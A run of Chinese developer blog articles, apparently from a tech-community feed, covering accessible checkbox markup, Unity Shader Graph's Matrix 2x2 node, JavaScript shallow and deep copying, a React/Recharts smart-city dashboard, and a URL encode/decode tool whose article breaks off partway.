  <label><input type="checkbox" name="component" value="docs" /> 帮助文档</label>
  <label><input type="checkbox" name="component" value="plugins" /> 插件包</label>
  <label><input type="checkbox" name="component" value="shortcuts" /> 桌面快捷方式</label>
</fieldset>

5.4 表格行选择

数据表格中的批量操作:

<table role="grid">
  <thead>
    <tr>
      <th>
        <input type="checkbox" id="select-all-rows" aria-label="选择所有行" />
      </th>
      <th>姓名</th>
      <th>邮箱</th>
      <th>状态</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><input type="checkbox" class="row-checkbox" aria-label="选择张三" /></td>
      <td>张三</td>
      <td>zhangsan@example.com</td>
      <td>活跃</td>
    </tr>
    <tr>
      <td><input type="checkbox" class="row-checkbox" aria-label="选择李四" /></td>
      <td>李四</td>
      <td>lisi@example.com</td>
      <td>待审核</td>
    </tr>
  </tbody>
</table>

六、最佳实践

6.1 优先使用原生复选框

原生 HTML <input type="checkbox"> 提供完整的无障碍支持,包括:

  • 自动键盘交互(Space 键切换)
  • 屏幕阅读器自动播报状态
  • 浏览器原生样式和焦点管理

6.2 标签关联

始终使用 <label> 元素关联复选框和标签文本:

<!-- 推荐:使用 for 属性关联 -->
<input type="checkbox" id="agree" />
<label for="agree">我同意服务条款</label>

<!-- 推荐:使用嵌套方式 -->
<label>
  <input type="checkbox" />
  我同意服务条款
</label>

6.3 分组语义

相关复选框应使用 <fieldset><legend> 进行分组:

<fieldset>
  <legend>选择通知方式</legend>
  <label><input type="checkbox" /> 邮件通知</label>
  <label><input type="checkbox" /> 短信通知</label>
  <label><input type="checkbox" /> 应用内通知</label>
</fieldset>

6.4 状态同步

三状态复选框需要确保 DOM 属性与 ARIA 属性同步:

function updateTriState(checkbox, checkedCount, totalCount) {
  if (checkedCount === 0) {
    checkbox.checked = false;
    checkbox.indeterminate = false;
    checkbox.setAttribute('aria-checked', 'false');
  } else if (checkedCount === totalCount) {
    checkbox.checked = true;
    checkbox.indeterminate = false;
    checkbox.setAttribute('aria-checked', 'true');
  } else {
    checkbox.checked = false;
    checkbox.indeterminate = true;
    checkbox.setAttribute('aria-checked', 'mixed');
  }
}

6.5 视觉指示

确保复选框状态有清晰的视觉指示:

  • 未选中:空框
  • 选中:勾选标记
  • 部分选中:横线或减号

6.6 焦点管理

为自定义复选框提供清晰的焦点样式:

[role="checkbox"]:focus {
  outline: 2px solid #005a9c;
  outline-offset: 2px;
}

七、Checkbox 与 Radio 的区别

特性 Checkbox Radio
选择数量 可多选 单选
状态数 2 或 3 种 2 种(选中/未选中)
分组方式 逻辑分组 同一 name 属性互斥
典型用途 多选项、权限设置 单选项、性别选择
键盘交互 Space 切换 Arrow 移动选择

八、总结

构建无障碍的复选框组件需要关注三个核心:正确的语义化标记(优先使用原生 <input type="checkbox">)、清晰的状态管理(aria-checked 属性)、以及良好的标签关联(<label> 元素)。对于复杂的三状态场景,需要确保总控复选框与子复选框之间的状态同步,为屏幕阅读器用户提供准确的状态反馈。

遵循 W3C Checkbox Pattern 规范,我们能够创建既美观又包容的复选框组件,为不同能力的用户提供一致的体验。

文章同步于 an-Onion 的 Github。码字不易,欢迎点赞。

【节点】[Matrix2x2节点]原理解析与实际应用

【Unity Shader Graph 使用与特效实现】专栏-直达

概述

Matrix 2x2节点是Unity URP Shader Graph中的一个基础数学节点,用于在着色器程序中定义和操作2x2矩阵。在计算机图形学和实时渲染中,矩阵是不可或缺的数学工具,而2x2矩阵虽然规模较小,但在特定场景下具有重要的应用价值。该节点允许着色器开发者在可视化编程环境中直接创建和配置2x2矩阵,无需编写复杂的HLSL代码。

在Shader Graph的节点体系中,Matrix 2x2节点属于常量定义类节点,它输出的矩阵值在着色器执行过程中保持不变。这种特性使得它特别适合用于定义那些在渲染过程中不需要变化的变换参数,如固定的旋转、缩放或剪切变换。

理解Matrix 2x2节点的功能和应用场景对于掌握Shader Graph的高级技巧至关重要。虽然现代图形编程中更常见的是4x4矩阵(用于处理3D空间变换),但2x2矩阵在优化性能和特定算法实现方面仍具有独特优势,特别是在处理2D图形、UV坐标变换和简化计算等方面。

描述

Matrix 2x2节点在Shader Graph环境中创建并输出一个2行2列的常量矩阵。从数学角度看,2x2矩阵是由4个标量元素 arranged in a rectangular array with two rows and two columns。在着色器编程中,这种数据结构通常用于表示线性变换,如旋转、缩放、剪切和反射等。

该节点的主要特点是其输出的矩阵值在着色器执行期间保持不变,这意味着它不适合用于需要动态变化的变换操作。对于需要每帧更新的矩阵变换,开发者应当考虑使用Shader Graph中的其他节点,如通过脚本传递的矩阵参数或基于时间节点的动态计算。

在内部实现上,Matrix 2x2节点对应于HLSL中的float2x2数据类型。当Shader Graph编译时,该节点会生成相应的HLSL代码,在最终着色器中声明一个常量矩阵。这种设计使得不熟悉HLSL语法的美术师和设计师也能轻松创建和使用矩阵运算,降低了着色器开发的技术门槛。

Matrix 2x2节点的应用范围相当广泛,从简单的纹理坐标变换到复杂的数学运算都能见到它的身影。在2D游戏开发中,它可用于创建精灵的旋转和缩放效果;在UI着色器中,它能帮助实现各种动态变换效果;甚至在3D渲染中,它也能优化某些特定计算,如法线变换的部分计算或简化版的投影变换。

端口

Matrix 2x2节点的端口配置相对简单,仅包含一个输出端口,这反映了该节点作为数据源的本质特性。

输出端口

Matrix 2x2节点的输出端口是节点功能的唯一出口,负责将定义的矩阵数据传递给Shader Graph中的其他节点。理解这个端口的特性对于正确使用该节点至关重要。

  • 名称:Out
  • 方向:输出
  • 类型:Matrix 2
  • 绑定:无
  • 描述:输出值

输出端口类型被标记为"Matrix 2",这指的是一个2x2的浮点数矩阵。在Shader Graph的类型系统中,这是一种基本的数据类型,可以与许多其他节点兼容。当连接该输出到其他节点的输入时,Shader Graph会自动处理类型匹配和转换,前提是目标输入支持矩阵类型或可以进行隐式转换。

值得注意的是,输出端口的连接灵活性使得Matrix 2x2节点可以与其他多种节点类型配合使用。例如,它可以连接到矩阵乘法节点的输入,与另一个矩阵或向量进行运算;也可以连接到自定义函数节点,作为复杂计算的输入参数;甚至可以作为着色器阶段的输出,影响最终的渲染结果。

在实际使用中,输出端口的矩阵数据遵循行优先的存储顺序。这意味着矩阵的第一行元素首先存储在内存中,然后是第二行元素。这种存储方式与HLSL的标准一致,但在与某些按列优先存储矩阵的系统(如某些数学库)交互时需要注意顺序转换。

控件

Matrix 2x2节点的控件界面是用户与节点交互的主要途径,通过这个界面,开发者可以直观地设置矩阵的具体数值。

矩阵控件

Matrix 2x2节点的核心控件是一个2x2的矩阵输入界面,允许用户直接设置四个矩阵元素的值。这个设计既满足了精确控制的需求,又保持了操作的直观性。

  • 名称:(无特定名称,通常以节点类型标识)
  • 类型:Matrix 2x2
  • 选项:无
  • 描述:设置输出值

控件界面通常呈现为一个2行2列的网格,每个单元格对应矩阵中的一个元素。用户可以直接在单元格中输入数值,或者通过拖拽方式调整值。在某些Shader Graph版本中,还可能支持通过表达式或引用其他节点的方式来定义矩阵值,这增加了使用的灵活性。

矩阵控件的默认值通常是单位矩阵(Identity Matrix),即主对角线上的元素为1,其他元素为0。单位矩阵在矩阵运算中扮演着类似于数字1的角色,任何矩阵与单位矩阵相乘都不会改变。这种默认设置是合理的,因为它确保了新添加的Matrix 2x2节点不会意外改变现有的变换效果。

从用户体验角度考虑,矩阵控件的设计遵循了Shader Graph的一致性原则:提供即时视觉反馈。当用户修改矩阵值时,可以立即在Shader Graph的预览窗口中看到效果变化,这大大加快了着色器的迭代开发过程。

对于高级用户,矩阵控件还支持通过脚本或Graph API进行批量设置和自动化操作,这在处理大量相似着色器或需要程序化生成材质的情况下非常有用。

生成的代码示例

当Shader Graph编译时,Matrix 2x2节点会生成对应的HLSL代码,了解这些代码有助于深入理解节点的底层工作原理和进行高级优化。

基础代码生成

最基本的Matrix 2x2节点会生成如下形式的HLSL代码:

HLSL

float2x2 _Matrix2x2 = float2x2(1, 0, 0, 1);

这行代码声明了一个名为_Matrix2x2的float2x2类型变量,并将其初始化为单位矩阵。在HLSL语法中,float2x2构造函数接受四个浮点参数,按行优先顺序排列:第一行第一个元素、第一行第二个元素、第二行第一个元素、第二行第二个元素。

自定义矩阵值

如果用户在控件中设置了非默认的矩阵值,例如:

[2, 1]
[3, 4]

生成的代码将反映这些变化:

HLSL

float2x2 _Matrix2x2 = float2x2(2, 1, 3, 4);

这种直接的代码生成方式确保了Shader Graph可视化编程与文本式着色器编程之间的一致性。对于熟悉HLSL的开发者来说,这种透明性使得他们可以预测和优化最终生成的着色器代码。

代码集成

在完整的着色器中,生成的矩阵变量可以被其他部分引用。例如,结合矩阵乘法运算:

HLSL

// Matrix 2x2节点生成的代码
float2x2 _RotationMatrix = float2x2(0.707, -0.707, 0.707, 0.707);

// 其他节点可能生成的代码
float2 inputVector = float2(1, 0);
float2 transformedVector = mul(_RotationMatrix, inputVector);

此示例展示了如何用Matrix 2x2节点定义一个旋转矩阵,并将其应用于输入向量。在实际的Shader Graph中,这些操作通过节点连接可视化完成,但底层仍然转换为类似的HLSL代码。

理解代码生成机制对于调试复杂着色器尤为重要。当遇到性能问题或渲染错误时,检查生成的HLSL代码可以帮助定位问题源头,确定是Matrix 2x2节点本身的问题,还是与其他节点组合使用时产生的问题。

应用场景

Matrix 2x2节点在Shader Graph中有多种应用场景,从简单的变换操作到复杂的数学计算都能发挥作用。

2D变换操作

2x2矩阵最直接的用途是表示二维线性变换,包括旋转、缩放、剪切等操作。

  • 旋转:通过2x2旋转矩阵可以对2D坐标进行旋转变换。旋转矩阵的形式为:

    [cos(θ), -sin(θ)]
    [sin(θ),  cos(θ)]
    

    其中θ表示旋转角度。在Shader Graph中,可以通过将Matrix 2x2节点与三角函数节点结合来创建这样的矩阵。

  • 缩放:缩放矩阵是对角矩阵,对角线上的元素表示各轴的缩放因子:

    [sx,  0]
    [ 0, sy]
    

    这种矩阵在实现非均匀缩放效果时非常有用。

  • 剪切:剪切变换可以通过非对角矩阵实现,例如:

    [1, k]
    [0, 1]
    

    表示水平剪切变换,其中k是剪切因子。

UV动画与变形

在纹理采样前对UV坐标进行变换是Matrix 2x2节点的常见应用。

  • 流动效果:通过旋转矩阵可以使纹理UV产生旋转流动效果,常用于水面、魔法特效等场景。
  • 动态变形:结合时间节点,可以创建动态变化的矩阵,实现纹理的脉动、扭曲等复杂动画效果。
  • 多图层混合:使用不同的变换矩阵处理多个纹理图层,然后通过混合节点合成,可以创建丰富的材质效果。

数学运算与算法实现

除了图形变换,2x2矩阵在实现特定算法方面也有重要作用。

  • 线性方程组求解:2x2矩阵可用于表示和求解二元线性方程组,在着色器中实现简单的数学建模。
  • 特征值分解:对于对称2x2矩阵,可以相对容易地计算特征值和特征向量,用于方向性效果和物理模拟。
  • 坐标系统转换:在不同2D坐标系统之间转换时,2x2矩阵可以表示基变换。

性能优化

在某些情况下,使用2x2矩阵代替更高维矩阵可以优化着色器性能。

  • 简化计算:当处理2D数据时,使用2x2矩阵而不是4x4矩阵可以减少计算量,提高着色器执行效率。
  • 特定硬件优化:在移动平台或低端硬件上,减少矩阵运算复杂度可以显著提升渲染性能。

与其他节点的连接

Matrix 2x2节点的真正威力在于与其他Shader Graph节点的组合使用,通过节点连接可以构建复杂的着色器功能。

与数学节点的连接

Matrix 2x2节点可以与各种数学节点连接,实现动态矩阵生成和变换。

  • 三角函数节点:结合Sin和Cos节点可以创建旋转矩阵,实现基于角度的旋转变换。
  • 算术运算节点:通过Add、Multiply等节点可以对矩阵值进行动态修改,创建动画效果。
  • 向量分解节点:使用Vector2节点的输出作为矩阵的输入元素,实现基于向量的矩阵构造。

与矩阵运算节点的连接

Shader Graph提供了专门的矩阵运算节点,与Matrix 2x2节点配合使用。

  • 矩阵乘法节点:将Matrix 2x2节点与另一个矩阵或向量连接,实现线性变换。
  • 矩阵转置节点:获取Matrix 2x2节点的转置矩阵,用于特定数学运算。
  • 矩阵求逆节点:计算2x2矩阵的逆矩阵,用于撤销变换效果。

与采样器和纹理节点的连接

Matrix 2x2节点可以控制纹理采样过程,实现动态纹理效果。

  • UV变换:将Matrix 2x2节点连接到Sample Texture 2D节点的UV输入,实现对纹理坐标的变换。
  • 多纹理混合:使用不同的变换矩阵处理多个纹理,然后通过混合节点合成复杂材质。
  • 程序化生成:结合噪声节点和矩阵变换,可以程序化生成各种自然图案和效果。

与自定义函数节点的连接

对于高级用户,Matrix 2x2节点可以与Custom Function节点结合,实现Shader Graph原生节点无法提供的功能。

  • 特殊算法:将矩阵传递给自定义HLSL函数,实现复杂的数学运算或特定渲染算法。
  • 数据封装:使用矩阵作为多个相关参数的封装,简化节点图的复杂度。
  • 跨图形API兼容:通过自定义函数处理不同图形API下的矩阵差异,确保着色器跨平台兼容。

最佳实践与性能考虑

正确使用Matrix 2x2节点不仅关乎功能实现,还影响着色器的性能和可维护性。

性能优化策略

在实时渲染中,性能始终是关键考虑因素,使用Matrix 2x2节点时应注意以下性能要点:

  • 优先使用2x2矩阵:当处理2D数据时,使用2x2矩阵而不是更高维矩阵可以减少计算开销。与4x4矩阵相比,2x2矩阵乘法只需要4次乘法和2次加法,而4x4矩阵需要16次乘法和12次加法。
  • 避免每帧更新:由于Matrix 2x2节点定义的是常量矩阵,不适合需要频繁更新的场景。对于动态矩阵,考虑使用脚本通过Material.SetMatrix方法传递,或使用Shader Graph属性并设置为可动态更新。
  • 合理使用矩阵运算:不是所有变换都需要矩阵表示。简单的平移、缩放操作有时使用向量运算更为高效,特别是在移动平台上。
  • 注意精度选择:在不需要高精度的场合,考虑使用half精度而不是float精度,这可以显著提升移动设备的性能。

节点图优化技巧

优化Shader Graph节点图结构可以提高工作效率并减少错误:

  • 命名规范:为Matrix 2x2节点赋予描述性名称,如"RotationMatrix"或"UvTransform",便于理解和维护复杂节点图。
  • 模块化设计:将常用的矩阵变换封装为Sub Graph,提高重用性并减少节点图复杂度。
  • 默认值设置:合理设置矩阵的默认值,确保新材质实例具有预期的初始行为。
  • 文档注释:使用Sticky Note节点为复杂的矩阵运算添加说明,便于团队协作和后期维护。

调试与故障排除

当使用Matrix 2x2节点遇到问题时,以下调试技巧可能有所帮助:

  • 预览节点输出:使用Preview节点可视化矩阵变换结果,检查是否符合预期。
  • 分步验证:复杂矩阵运算应分步验证,确保每个阶段的结果正确。
  • 检查矩阵顺序:确认矩阵构造和乘法顺序是否正确,行优先和列优先顺序的混淆是常见错误来源。
  • 验证单位矩阵:当不确定矩阵运算是否正确时,先用单位矩阵测试,确保基础流程正常工作。

实际案例

通过具体案例可以更好地理解Matrix 2x2节点的实际应用。

案例一:2D精灵旋转动画

创建一个使2D精灵绕中心点旋转的着色器:

  1. 添加Matrix 2x2节点到Shader Graph中
  2. 创建Time节点和Multiply节点,将时间与旋转速度相乘
  3. 使用Sin和Cos节点根据角度生成旋转矩阵元素
  4. 将旋转矩阵连接到Sprite Shader节点的UV输入
  5. 调整旋转中心,确保精灵绕正确点旋转

这种技术可用于创建游戏中的旋转道具、角色特效等。

案例二:动态纹理变形

实现一个随时间动态变形的纹理效果:

  1. 使用两个Matrix 2x2节点,一个用于基础变换,一个用于动态扰动
  2. 将Time节点与噪声节点结合,生成动态扰动因子
  3. 通过矩阵乘法组合基础变换和扰动矩阵
  4. 将最终矩阵应用于纹理采样UV
  5. 调整参数控制变形强度和频率

这种效果适用于水面、热浪扭曲等场景。

案例三:多图层UV变换

创建具有多个纹理图层,每层有独立变换的复杂材质:

  1. 为每个纹理图层创建独立的Matrix 2x2节点
  2. 使用不同的变换参数(旋转角度、缩放因子等)
  3. 将各变换矩阵分别应用到对应的纹理采样节点
  4. 使用混合节点合并各图层结果
  5. 通过参数控制图层混合方式

这种方法可以创建丰富的材质效果,如锈迹斑斑的金属、磨损的皮革等。


【Unity Shader Graph 使用与特效实现】专栏-直达 (欢迎点赞留言探讨,更多人加入进来能更加完善这个探索的过程,🙏)

【3】前端手撕-深浅拷贝

1. 浅拷贝

对于引用数据类型只拷贝第一层,若第一层中也存在引用数据类型,则拷贝的仅仅是地址,若该数据修改,则会影响原数据

示例数据

const originalObj = {
    name: 'John',
    age: 30,
    address: {
        city: 'Beijing',
        country: 'China',
    },
    hobbies: ['reading', 'traveling', 'cooking'],
};

const originalArr = [1, 2, 3, { a: 4 }];

使用Object.assign()

const shallowCopyObj = Object.assign({}, originalObj);

解构赋值

// 对象
const shallowCopyObj2 = { ...originalObj };
// 数组
const shallowCopyArr4 = [...originalArr];

拷贝数组

// 拷贝数组:使用Array.prototype.slice()
const shallowCopyArr = originalArr.slice();

// 拷贝数组:使用Array.prototype.concat()
const shallowCopyArr2 = originalArr.concat();

// 拷贝数组:使用Array.from()
const shallowCopyArr3 = Array.from(originalArr);

2. 深拷贝

深拷贝完全复制对象,如果对象中存在嵌套的引用数据类型,则会另外开辟一个空间来进行存储,拷贝后的对象与原对象互相独立,互不影响

递归实现深拷贝

function deepClone(obj) {
    // 基础数据类型直接原样返回
    if (obj === null || typeof obj !== 'object') {
        return obj;
    }

    // 处理数组
    if (Array.isArray(obj)) {
        return obj.map(deepClone);
    }

    const result = {};
    Object.keys(obj).forEach((key) => {
        // 只拷贝对象自己本身的属性,不拷贝原型链上的属性
        if (obj.hasOwnProperty(key)) {
            result[key] = deepClone(obj[key]);
        }
    });

    return result;
}

递归实现深拷贝进阶版:解决循环引用,Date和正则的拷贝

function deepCloneCircular(obj, visited = new WeakMap()) {
    // 基础数据类型直接原样返回
    if (obj === null || typeof obj !== 'object') {
        return obj;
    }

    // 检查循环引用
    if (visited.has(obj)) {
        return visited.get(obj);
    }

    if (obj instanceof Date) {
        return new Date(obj);
    }

    if (obj instanceof RegExp) {
        return new RegExp(obj.source, obj.flags);
    }

    const result = Array.isArray(obj) ? [] : {};

    // 保存引用避免循环引用
    visited.set(obj, result);

    Object.keys(obj).forEach((key) => {
        // 只拷贝对象自己本身的属性,不拷贝原型链上的属性
        if (obj.hasOwnProperty(key)) {
            result[key] = deepCloneCircular(obj[key], visited);
        }
    });

    return result;
}

JSON方法实现深拷贝

function deepCloneByJSON(obj) {
    return JSON.parse(JSON.stringify(obj));
}

局限性:

  1. 无法拷贝函数:如果对象中存在函数,拷贝结果中函数将会丢失
  2. 无法拷贝undefined:拷贝过程中值为undefined的属性会丢失
  3. 无法拷贝Symbol:拷贝过程中如果键名为Symbol也会拷贝丢失
  4. Date类型会被转为字符串
  5. 正则对象在拷贝过程中也会丢失
  6. NaNInfinity在拷贝过程中会变为null
  7. 若对象中存在循环饮用,则会报错
  8. 对于Map,Set,WeakMap,WeakSet的拷贝结果会变为{}空对象

使用现代浏览器支持方法

// 现代浏览器原生支持 (Chrome 98+, Firefox 94+, Node 17+)
const result = structuredClone(originalObj);

使用AI从零打造炫酷的智慧城市大屏(开源):React + Recharts 实战分享

一、起因:为什么要做这个项目?

最近在做数据可视化需求时,看了太多千篇一律的后台管理界面,总想着能不能做点更酷的东西。正好看到很多政府和企业的智慧城市指挥中心大屏,那些闪烁的数据、3D 地图、实时图表,科技感爆棚!

于是决定自己撸一个,顺便探索一下现代前端可视化技术的边界。


二、效果展示:先看看成品

截屏2026-02-22 16.19.52.png

🎨 整体布局

  • 左侧面板:经济指标 + 4 种图表(饼图、柱状图、折线图、面积图)
  • 中间地图:3D 网格地图 + 5 个区域标记(西南/中心/西北/东北/东南)
  • 右侧面板:人口民生 + 雷达图 + 指标卡片
  • 底部导航:城市交通、城市安全、人口民生三大模块切换

✨ 核心亮点

  1. 炫酷的 3D 地图效果:透视网格 + 发光区域圆圈 + 浮动标记
  2. 丰富的图表交互:悬停显示详细数据,Tooltip 自定义样式
  3. 流畅的动画效果:Framer Motion 驱动的进场动画 + 数据轮播
  4. 完整的数据流:Mock API + 自动刷新 Hook + 数据轮播组件
  5. 响应式布局:左右面板自适应宽度,图表自动撑满

三、技术栈:用了哪些工具?

技术栈 用途 为什么选它?
React 19 前端框架 最新版本,Hooks 更强大
TypeScript 类型系统 代码提示 + 类型安全
Vite 构建工具 启动快,HMR 秒级更新
Tailwind CSS 样式方案 原子化 CSS,开发效率高
Recharts 图表库 API 简洁,支持 React 组件化
Framer Motion 动画库 声明式动画,效果丝滑
Lucide React 图标库 轻量级,图标漂亮

四、核心功能拆解

📊 1. 自定义 Tooltip(图表交互增强)

痛点:Recharts 默认 Tooltip 样式太朴素,不符合科技大屏的气质。

解决方案:自定义 Tooltip 组件

const CustomTooltip = ({ active, payload, label }: any) => {
  if (active && payload && payload.length) {
    return (
      <div className="bg-[#0a1628]/95 backdrop-blur-md border border-cyan-500/30 rounded-lg p-3 shadow-[0_0_20px_rgba(0,229,255,0.3)]">
        <p className="text-cyan-400 text-xs font-bold mb-2">{label}</p>
        {payload.map((entry: any, index: number) => (
          <div key={index} className="flex items-center gap-2">
            <div className="w-2 h-2 rounded-full" style={{ backgroundColor: entry.color }} />
            <span className="text-white">{entry.name}: {entry.value}</span>
          </div>
        ))}
      </div>
    );
  }
  return null;
};

效果

  • 深色半透明背景 + 发光边框
  • 彩色指示点与图表颜色对应
  • 平滑的淡入淡出动画

🗺️ 2. 3D 地图效果(视觉核心)

实现思路

  1. 透视网格:使用 CSS transform: perspective() rotateX() 创建 3D 感
  2. 发光圆圈:每个区域用渐变圆圈 + blur 阴影 + animate-pulse
  3. 浮动标记:自定义 3D 金字塔 SVG + 上下浮动动画
// 透视网格
<div style={{
  background: `
    linear-gradient(rgba(0, 229, 255, 0.1) 1px, transparent 1px), 
    linear-gradient(90deg, rgba(0, 229, 255, 0.1) 1px, transparent 1px)
  `,
  backgroundSize: '60px 60px',
  transform: 'perspective(1000px) rotateX(70deg) translateY(-200px) scale(1.5)',
  maskImage: 'radial-gradient(circle at center, black 0%, transparent 70%)',
}} />

技巧

  • maskImage 实现边缘渐隐效果
  • 5 个区域圆圈位置精确对应地图标记
  • 标记自带信息卡片,悬停放大

🔄 3. 数据自动刷新(实战 Hooks)

需求:模拟实时数据更新,每 5 秒刷新一次。

自定义 Hook

export function useDataRefresh<T>(
  fetchFunction: () => Promise<T>,
  interval: number = 5000,
  initialData: T
) {
  const [data, setData] = useState<T>(initialData);
  const [loading, setLoading] = useState(false);

  const fetchData = useCallback(async () => {
    try {
      setLoading(true);
      const result = await fetchFunction();
      setData(result);
    } catch (err) {
      console.error('Data fetch error:', err);
    } finally {
      setLoading(false);
    }
  }, [fetchFunction]);

  useEffect(() => {
    fetchData(); // 初始加载
    const timer = setInterval(fetchData, interval); // 定时刷新
    return () => clearInterval(timer);
  }, [fetchData, interval]);

  return { data, loading, refresh: fetchData };
}

使用方式

const { data, loading, refresh } = useDataRefresh(
  fetchMetrics, // Mock API 函数
  5000,         // 刷新间隔
  []            // 初始数据
);

🎠 4. 数据轮播组件(动态展示)

场景:首页需要轮播展示多个重点指标。

实现要点

  1. useDataCarousel Hook:管理轮播逻辑
  2. AnimatePresence:切换时的淡入淡出动画
  3. 控制按钮:上一个/下一个/播放/暂停
const { currentData, next, prev, pause, play, isPlaying } = 
  useDataCarousel(dataList, 3000);

<AnimatePresence mode="wait">
  <motion.div
    key={currentIndex}
    initial={{ opacity: 0, x: 50 }}
    animate={{ opacity: 1, x: 0 }}
    exit={{ opacity: 0, x: -50 }}
    transition={{ duration: 0.5 }}
  >
    {/* 数据内容 */}
  </motion.div>
</AnimatePresence>

亮点

  • 支持手动控制和自动播放
  • 轮播指示器实时同步
  • 数据切换动画流畅自然

📡 5. Mock API 数据服务

为什么需要 Mock

  • 前端开发阶段后端接口未就绪
  • 方便演示和测试
  • 模拟随机数据,更真实

API 设计

// Mock API: 获取指标数据
export const fetchMetrics = async (): Promise<MetricData[]> => {
  await delay(500); // 模拟网络延迟
  return [
    { 
      title: '公共预算收入', 
      value: random(500, 600).toString(), 
      unit: '亿', 
      trend: 'up', 
      percentage: random(20, 30) 
    },
    // ... 更多数据
  ];
};

完整 API 列表

  • fetchMetrics() - 顶部指标卡片
  • fetchLineChartData() - 折线图
  • fetchPieData() - 饼图
  • fetchBarChartData() - 柱状图
  • fetchAreaChartData() - 面积图
  • fetchRadarData() - 雷达图
  • fetchMapMarkers() - 地图标记

🎨 6. 响应式布局方案

挑战:大屏通常是固定分辨率,但需要适配不同屏幕。

方案对比

方案 优点 缺点 适用场景
autofit.js 等比缩放,保持比例 小屏幕可能有黑边 固定比例大屏
Flexbox + 百分比 充分利用空间 需要精细调整 自适应布局
CSS Grid 布局灵活 学习成本高 复杂网格

我的选择:Flexbox + 百分比宽度

// 左右面板自适应
<div className="w-[22%] min-w-[320px] max-w-[400px]">
  {/* 面板内容 */}
</div>

// 图表区域撑满
<div className="flex-1 min-h-0 overflow-y-auto">
  {/* 图表列表 */}
</div>

技巧

  • flex-1 + min-h-0 解决 flex 子元素溢出
  • overflow-y-auto 让图表区域可滚动
  • ResponsiveContainer 让图表自动适应容器

五、踩坑实录

🐛 坑 1:Recharts 图表不撑满容器

现象:图表固定高度,无法充满 flex 容器。

原因ResponsiveContainer 需要明确的高度。

解决

// ❌ 错误写法
<div className="flex-1">
  <ResponsiveContainer width="100%" height="100%">
    <LineChart data={data} />
  </ResponsiveContainer>
</div>

// ✅ 正确写法
<div className="flex-1 min-h-0"> {/* 关键:min-h-0 */}
  <ResponsiveContainer width="100%" height="100%">
    <LineChart data={data} />
  </ResponsiveContainer>
</div>

🐛 坑 2:Framer Motion 动画闪烁

现象:列表项动画时会闪烁或重复。

原因:没有设置唯一的 key

解决

<AnimatePresence mode="wait"> {/* mode="wait" 很重要 */}
  <motion.div key={currentIndex}> {/* key 必须唯一 */}
    {/* 内容 */}
  </motion.div>
</AnimatePresence>

🐛 坑 3:地图标记位置不准

现象:标记偏离预期位置。

原因:绝对定位的基准点是左上角,而不是标记中心。

解决

<div style={{ left: x, top: y }}> {/* 左上角定位 */}
  <div className="transform -translate-x-1/2 -translate-y-1/2"> {/* 居中偏移 */}
    {/* 标记内容 */}
  </div>
</div>

六、性能优化建议

⚡ 1. 图表按需加载

import { LineChart } from 'recharts'; // ✅ 具名导入
// 而不是 import * as Recharts from 'recharts'; // ❌

⚡ 2. 动画节流

// 使用 Framer Motion 的 layout 模式
<motion.div layout layoutId="card">

⚡ 3. 数据缓存

const [cachedData, setCachedData] = useState({});
// 相同请求返回缓存结果

七、未来计划

  • WebSocket 实时数据推送:替换定时轮询
  • 可配置主题:支持多种颜色方案
  • 其他界面:增加其他tab大屏

八、总结

这个项目最大的收获是:

  1. Recharts 不只是画图:结合 TypeScript + 自定义组件,可以实现高度定制化
  2. Hooks 真香useDataRefreshuseDataCarousel 可以复用到任何项目
  3. CSS 动画比想象中强大perspective + blur + animate-pulse 就能做出酷炫效果
  4. Mock 数据是好习惯:前后端分离开发效率翻倍

如果你也在做数据可视化项目,希望这篇文章能给你一些启发!


九、快速上手

📦 安装依赖

npm install react recharts framer-motion lucide-react
npm install -D tailwindcss @tailwindcss/vite

🚀 启动项目

npm run dev

📂 项目结构

src/
├── api/
│   └── mockData.ts          # Mock API 服务
├── hooks/
│   └── useDataRefresh.ts    # 数据刷新 Hook
├── components/
│   └── DataCarouselDemo.tsx # 轮播组件
└── App.tsx                  # 主应用

本文所有代码均可商用,欢迎参考和学习!

我放在公众号(柳杉前端) 回复 智慧城市大屏 获取源码

#前端开发 #数据可视化 #React #智慧城市 #大屏设计

URL编码/解码 核心JS实现

URL编码/解码 核心JS实现

核心功能实现

URL编码/解码工具的核心功能基于JavaScript原生的四个方法:encodeURIencodeURIComponentdecodeURIdecodeURIComponent。这四个方法是浏览器内置的,无需引入任何外部库,直接就可以使用。

在线工具网址:see-tool.com/url-encode-…
工具截图:
工具截图.png

状态管理

使用Vue的响应式数据来管理输入和输出状态,这样当数据变化时,界面会自动更新:

const inputText = ref('')
const outputText1 = ref('')
const outputText2 = ref('')

这里定义了三个响应式变量:inputText 用于存储用户输入的原始文本,outputText1 用于存储 encodeURI 处理后的结果,outputText2 用于存储 encodeURIComponent 处理后的结果。

编码功能

编码功能是整个工具的核心之一。当用户点击编码按钮时,会触发 handleEncode 函数:

const handleEncode = () =&gt; {
  if (!inputText.value.trim()) {
    MessagePlugin.warning(t('urlEncodeDecode.emptyInput'))
    return
  }

  try {
    outputText1.value = encodeURI(inputText.value)
    outputText2.value = encodeURIComponent(inputText.value)
    MessagePlugin.success(t('urlEncodeDecode.encode') + ' ' + t('urlEncodeDecode.copied'))
  } catch (error) {
    console.error('Encode error:', error)
    MessagePlugin.error(t('urlEncodeDecode.encodeError'))
  }
}

这个函数首先检查用户是否输入了内容,如果输入框为空,会显示一个提示消息。然后使用 try-catch 包裹编码逻辑,防止异常导致程序崩溃。编码成功后,会同时生成两种编码结果并显示在界面上,同时给出成功提示。

解码功能

解码功能与编码功能相对应,当用户点击解码按钮时,会触发 handleDecode 函数:

const handleDecode = () =&gt; {
  if (!inputText.value.trim()) {
    MessagePlugin.warning(t('urlEncodeDecode.emptyInput'))
    return
  }

  try {
    outputText1.value = decodeURI(inputText.value)
    outputText2.value = decodeURIComponent(inputText.value)
    MessagePlugin.success(t('urlEncodeDecode.decode') + ' ' + t('urlEncodeDecode.copied'))
  } catch (error) {
    console.error('Decode error:', error)
    MessagePlugin.error(t('urlEncodeDecode.decodeError'))
  }
}

解码函数的结构和编码函数类似,同样先检查输入是否为空,然后尝试使用 decodeURIdecodeURIComponent 进行解码。需要注意的是,如果输入的编码字符串格式不正确,解码可能会抛出异常,所以必须使用 try-catch 来捕获错误并给用户友好的提示。

清空功能

清空功能可以一键清除所有输入和输出内容,方便用户重新开始:

const clearAll = () =&gt; {
  inputText.value = ''
  outputText1.value = ''
  outputText2.value = ''
  MessagePlugin.info(t('urlEncodeDecode.clear'))
}

这个函数很简单,就是将三个响应式变量都重置为空字符串,然后显示一个信息提示。

复制功能

复制功能是一个很实用的功能,用户可以一键将编码或解码结果复制到剪贴板:

